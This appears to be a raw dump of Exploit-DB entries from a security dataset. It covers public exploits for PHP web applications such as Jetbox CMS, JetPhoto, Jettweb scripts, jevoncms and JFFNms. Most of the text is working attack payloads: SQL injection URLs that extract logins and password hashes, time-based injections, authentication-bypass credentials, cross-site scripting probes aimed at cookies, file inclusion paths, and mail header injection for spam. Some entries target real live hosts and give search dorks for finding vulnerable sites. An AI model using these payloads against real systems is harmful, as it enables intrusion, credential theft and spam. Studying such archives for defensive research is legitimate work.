deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28431
Description: Jetbox CMS 2.1 - 'Search_function.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: D3nGeR

Exploit:
source: https://www.securityfocus.com/bid/19722/info

Jetbox CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Jetbox CMS version 2.1 is reported vulnerable; other versions may also be affected.

This issue is undergoing further investigation to determine the validity of the vulnerability. This BID will be updated as more information becomes available.

http://www.example.com/path/includes/phpdig/libs/search_function.php?relative_script_path=[Evil Code]
Exploit-DB #30068
Description: Jetbox CMS 2.1 - Login Variable Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-22
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24095/info

Jetbox CMS is prone to a cross-site scripting vulnerability.

This vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Jetbox 2.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/product/index.php?view=webuser&task=sendpw&login=<script>alert(document.cookies)</script>
Exploit-DB #30066
Description: Jetbox CMS 2.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-05-21
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24077/info

Jetbox is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jetbox 2.1 is vulnerable; other versions may also be affected. 


http://www.example.com/path//index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23

http://www.example.com/path//index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2 somedomain.com, spam_address4@somedomain.com, spam_addressNsomedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23
Exploit-DB #30042
Description: Jetbox CMS 2.1 - view/supplynews Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-05-15
Author: Mikhail Markin

Exploit:
source: https://www.securityfocus.com/bid/23999/info
 
Jetbox CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Jetbox CMS 2.1 is vulnerable. 

http://www.example.com/jetbox/index.php/view/supplynews/?companyname=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&require[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=1&text=1&title=[xss]
Exploit-DB #30040
Description: Jetbox CMS 2.1 Email - 'FormMail.php' Input Validation
Type: webapps
Platform: php
Date: 2007-05-15
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/23989/info

Jetbox CMS is prone to an input-validation vulnerabilitiy because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to send spam email in the context of the application.

Jetbox 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide
Exploit-DB #6549
Description: Jetik Emlak ESA 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-24
Author: ZoRLu

Exploit:
[~] Jetik Emlak ESA 2.0 System Script
[~]
[~] (KayitNo) multiple remote sql inj
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 24.09.2008
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/diger.php?KayitNo=[SQL]

http://localhost/script_path/sayfalar.php?KayitNo=[SQL]

[SQL]= 

-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/*

Example:

http://www.jetik.net/esa/diger.php?KayitNo=-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/*

Example 2:

http://www.jetik.net/esa/sayfalar.php?KayitNo=-99999999+union+select+null,null,concat(user(),0x3a,database(),0x3a,version()),null,null/*




[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] http://www.z0rlu.blogspot.com online : )
[~]
[~] home: yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-24]
Exploit-DB #6542
Description: JETIK-WEB Software - 'kat' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-23
Author: d3v1l

Exploit:
[~]-----------------------------------------------------------
[~] JETIK-WEB Software v1 - SQL Injection Vulnerability
[~]
[~] http://www.jetik.net
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest| Gibon| Pig       AND      milw0rm staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/sayfa.php?kat=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3/*
[~]
[~] Demo :-
[~]
[~] http://www.jetik.net/sayfa.php?kat=1%20UNION%20SELECT%201,concat_ws(0x3a,version(),database(),user()),3/*
[~]
[~]--------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-23]
Exploit-DB #51104
Description: Jetpack 11.4 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-28
Author: Behrouz Mansoori

Exploit:
# Exploit Title: Jetpack 11.4 - Cross Site Scripting (XSS)
# Date: 2022-10-19
# Author: Behrouz Mansoori
# Software Link: https://wordpress.org/plugins/jetpack
# Version: 11.4
# Tested on: Mac m1
# CVE: N/A

1. Description:
This plugin creates a Jetpack from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/modules/contact-form/grunion-form-view.php?post_id=<script>alert(document.cookie)</script>
Exploit-DB #27619
Description: JetPhoto 1.0/2.0/2.1 - 'detail.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-11
Author: 0o_zeus_o0

Exploit:
source: https://www.securityfocus.com/bid/17449/info
   
JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Classic.view/detail.php?name=JetPhoto_Album&page=<script>alert(document.cookie);</script>
Exploit-DB #27617
Description: JetPhoto 1.0/2.0/2.1 - 'gallery.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-11
Author: 0o_zeus_o0

Exploit:
source: https://www.securityfocus.com/bid/17449/info
 
JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Classic.view/gallery.php?name=JetPhoto_Album&page=<script>alert(document.cookie);</script>
Exploit-DB #27618
Description: JetPhoto 1.0/2.0/2.1 - 'Slideshow.php?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-11
Author: 0o_zeus_o0

Exploit:
source: https://www.securityfocus.com/bid/17449/info
  
JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Orange.view/slideshow.php?name=<script></script><script>alert(document.cookie);</script>
Exploit-DB #27616
Description: JetPhoto 1.0/2.0/2.1 - 'thumbnail.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-11
Author: 0o_zeus_o0

Exploit:
source: https://www.securityfocus.com/bid/17449/info

JetPhoto is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/view/Classic.view/thumbnail.php?name=webalbum&page=<script>alert(document.cookie);</script>
Exploit-DB #46614
Description: Jettweb Hazır Rent A Car Scripti V4 - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-27
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Jettweb Hazır Rent A Car Scripti V4 - SQL Injection
# Date: 26.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-46-php-hazir-rent-a-car-scripti-v4.html
# Demo Site: http://rentv4.proemlaksitesi.net/
# Version: V4
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request:
http://localhost/[PATH]/admin/index.php?admin=vitestipi&tur=VitesTipi
Vulnerable Parameter: tur (GET)
Payload: admin=vitestipi&tur=VitesTipi' AND 2211=2211 AND 'fVeE'='fVeE


----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/admin/index.php?admin=rez-gor&id=2
Vulnerable Parameter: id (GET)
Payload: admin=rez-gor&id=2 AND SLEEP(5)

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/admin/index.php
Vulnerable Parameter: ozellikdil (GET)
Payload:
admin=ozellikekle&itemid=1&ozellikdil=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&syf=ceviriguncelle&tur=VitesTipi
Exploit-DB #46597
Description: Jettweb PHP Hazır Haber Sitesi Scripti V1 - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-25
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V1 - Multiple Vulnerabilities
# Date: 23.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-5-php-hazir-haber-sitesi-scripti-v1.html
# Demo Site: http://haberv1.proemlaksitesi.net
# Version: V1
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/gallery.php?gallery_id=1
Vulnerable Parameter: gallery_id (GET)
Payload: gallery_id=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x[PII_REDACTED]4d5a424e57746d6d62614e4f6e4a7559666a744d[PII_REDACTED]6e4e6a6952504d494444,0x71626a7a71)--
UsCA


----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/haberarsiv.php?cid=1
Vulnerable Parameter: cid (POST)
Payload: cid=1' UNION ALL SELECT
CONCAT(0x7162707a71,0x506a594d7a4f6c[PII_REDACTED]6d746d6c5751486e[PII_REDACTED][PII_REDACTED]4c6445654f665a4f4146,0x7162706a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ihPG

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/arama.php?T1=btnVote=G%C3%B6nder&ara=1
Vulnerable Parameter: poll (POST)
Payload:
1&option=2&poll=-1'%20OR%203*2*1=6%20AND%20000889=000889%20--%20&stage=

----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/uyelik.php
Vulnerable Parameter: option (POST)
Payload:
btnVote=G%C3%B6nder&option=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&poll=1&stage=2


----- PoC 5: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/admingiris.php
Username: '=' 'or'
Password: '=' 'or'
Exploit-DB #46598
Description: Jettweb PHP Hazır Haber Sitesi Scripti V2 - SQL Injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2019-03-25
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V2 - Authentication Bypass
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-6-php-hazir-haber-sitesi-scripti-v2.html
# Demo Site: http://haberv2.proemlaksitesi.net
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/admingiris.php
Username: '=' 'or'
Password: '=' 'or'
Exploit-DB #46599
Description: Jettweb PHP Hazır Haber Sitesi Scripti V3 - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-25
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V3 - Multiple Vulnerabilities
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-16-php-hazir-haber-sitesi-scripti-v3.html
# Demo Site: http://haberv3.proemlaksitesi.net
# Version: V3
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/fonksiyonlar.php
Vulnerable Parameter: videoid (GET)
Payload: fgit=videoyorumlar&videoid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMdjkRYqQBbQfc'),'qqkjq'),NULL,NULL--
Kcmb

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/kelimeara
Vulnerable Parameter: kelime (POST)
Payload: fgit=videoyorumlar&videoid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMdjkRYqQBbQfc'),'qqkjq'),NULL,NULL--
Kcmb

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/datagetir.php
Vulnerable Parameter: q (GET)
Payload:
datagetir.php?deger=undefined&dog=undefined&komut=ilcegetir&q=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&son=undefined


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]kelimeara
Vulnerable Parameter: kelime (POST)
Payload: fgit=videoyorumlar&videoid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMdjkRYqQBbQfc'),'qqkjq'),NULL,NULL--
Kcmb


----- PoC 5: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/login.php
Username: '=' 'or'
Password: '=' 'or'
Exploit-DB #46606
Description: Jettweb Php Hazır İlan Sitesi Scripti V2 - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-26
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Jettweb Php Hazır İlan Sitesi Scripti V2 - SQL Injection
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/c-23-ilan-Siteleri.html
# Demo Site: http://ilanv2.proemlaksitesi.net
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC : SQLi -----

Request: http://localhost/[PATH]/m/katgetir.php?kat=1
Vulnerable Parameter: kat (GET)
Payload: kat=1' OR NOT 1300=1300-- rwTf
Exploit-DB #46624
Description: Jettweb PHP Hazır Rent A Car Sitesi Scripti V2 - 'arac_kategori_id' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-28
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Jettweb PHP Hazır Rent A Car Sitesi Scripti V2 - 'arac_kategori_id' SQL Injection
# Date: 28.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-4-php-hazir-rent-a-car-sitesi-scripti-v2.html
# Demo Site: http://rentv2.proemlaksitesi.net/
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/fiyat-goster.html
Vulnerable Parameter: arac_kategori_id (POST)
Payload: arac_kategori_id=-1' OR 3*2*1=6 AND 000224=000224 --
Exploit-DB #12071
Description: jevoncms - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-05
Author: eidelweiss

Exploit:
########################################################
	jevoncms (LFI/RFI) Multiple Vulnerabilities
########################################################

[+]Title	:	jevoncms (libdir) Multiple Vulnerability
[+]Version:	-
[+]Download:	http://sourceforge.net/projects/jevoncms/files/
[+]Author:	eidelweiss
[+]Contact:	eidelweiss[at]cyberservices[dot]com	

	[!]Thank`s To: all friends

########################################################

	-=[ Vuln C0de ]=-
***************************
[-] jevoncms/php/main/jevoncms.php

$_PHPLIB["libdir"] = "phplib/"; 
require($_PHPLIB["libdir"] ."template.inc");      /* Disable this, if you are not using templates. */
require("template/jvc_template.php");
require("php/main/database/jvc_Database.php");

***************************
[-] jevoncms/php/main/template/jvc_template.php

if($type!=$lasttype && $type!=''){
  $path= "php/".$type."/".$type.".php" ;
 // echo $path;
  require($path);

***************************
[-] jevoncms/php/menu/menu.php

//require($_PHPLIB["libdir"] ."template.inc");      /* Disable this, if you are not using templates. */

***************************

	-=[ Proof Of Concept ]=-


	http://127.0.0.1/jevoncms/php/main/jevoncms.php?libdir=[lfi]

	http://127.0.0.1/jevoncms/php/main/template/jvc_template.php?path= [rfi shell]

	http://127.0.0.1/jevoncms/php/menu/menu.php?libdir=[lfi]

######################=[E0F]=#############################
Exploit-DB #27002
Description: Jevontech PHPenpals - PersonalID SQL Injection
Type: webapps
Platform: php
Date: 2005-12-29
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16109/info

Jevontech PHPenpals is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpenpals/profile.php?personalID=999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,password,14%20from%20admin/*
Exploit-DB #10665
Description: Jevonweb Guestbook - Remote Admin Access
Type: webapps
Platform: php
Date: 2009-12-25
Author: Sora

Exploit:
# Vendor: http://www.jevonweb.f2s.com/
# Version: 1.0
# Tested on: Windows and Linux
---------------------------------------
> Jevonweb Guestbook Remote Admin Access Exploit
> Author: Sora
> Contact: vhr95zw@hotmail.com
> Google Dork: "Jevonweb Guestbook" "http://www.jevonweb.f2s.com/" inurl:/cp/Scripts/PHP/Guestbook/config.php

Description:
Jevonweb Guestbook suffers a remote admin access exploit in setup.php.

Solution:
Add setup.php to the webhost's .htaccess file.

# Code: http://www.site.com/cp/Scripts/PHP/Guestbook/read.txt
# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!
Exploit-DB #11826
Description: Jewelry Cart Software - 'product.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-21
Author: Asyraf

Exploit:
**************************************************************

# Name : Jewelry Cart Software SQL Injection (product.php) ::-
# Author : Asyraf (Mycrypto Security Force) r0x~!!
# Date : 20/3/2010
# Language : PHP
# Script : Jewelry Cart Software
# Shout : hMSecurity,n3wb0rn,TBD Security

# Dork : Powered by Jewelry Cart Software
          product.php?disproid=

# Vulnerability : product.php?disproid=[ANY VALUE]

# Exploited : http://www.victim.com/product.php?disproid=53+AND+1=2+UNION+SELECT+0,1,version%28%29,3,4--

***************************************************************
Exploit-DB #30173
Description: JFFNms 0.8.3 - 'admin/adm/test.php' PHP Information Disclosure
Type: webapps
Platform: php
Date: 2007-06-11
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/24414/info
  
Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.
  
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.
  
These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://192.168.1.1/admin/adm/test.php
Exploit-DB #30174
Description: JFFNms 0.8.3 - 'admin/setup.php' Direct Request Authentication Bypass
Type: webapps
Platform: php
Date: 2007-06-11
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/24414/info
   
Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.
   
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.
   
These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://192.168.1.1/admin/setup.php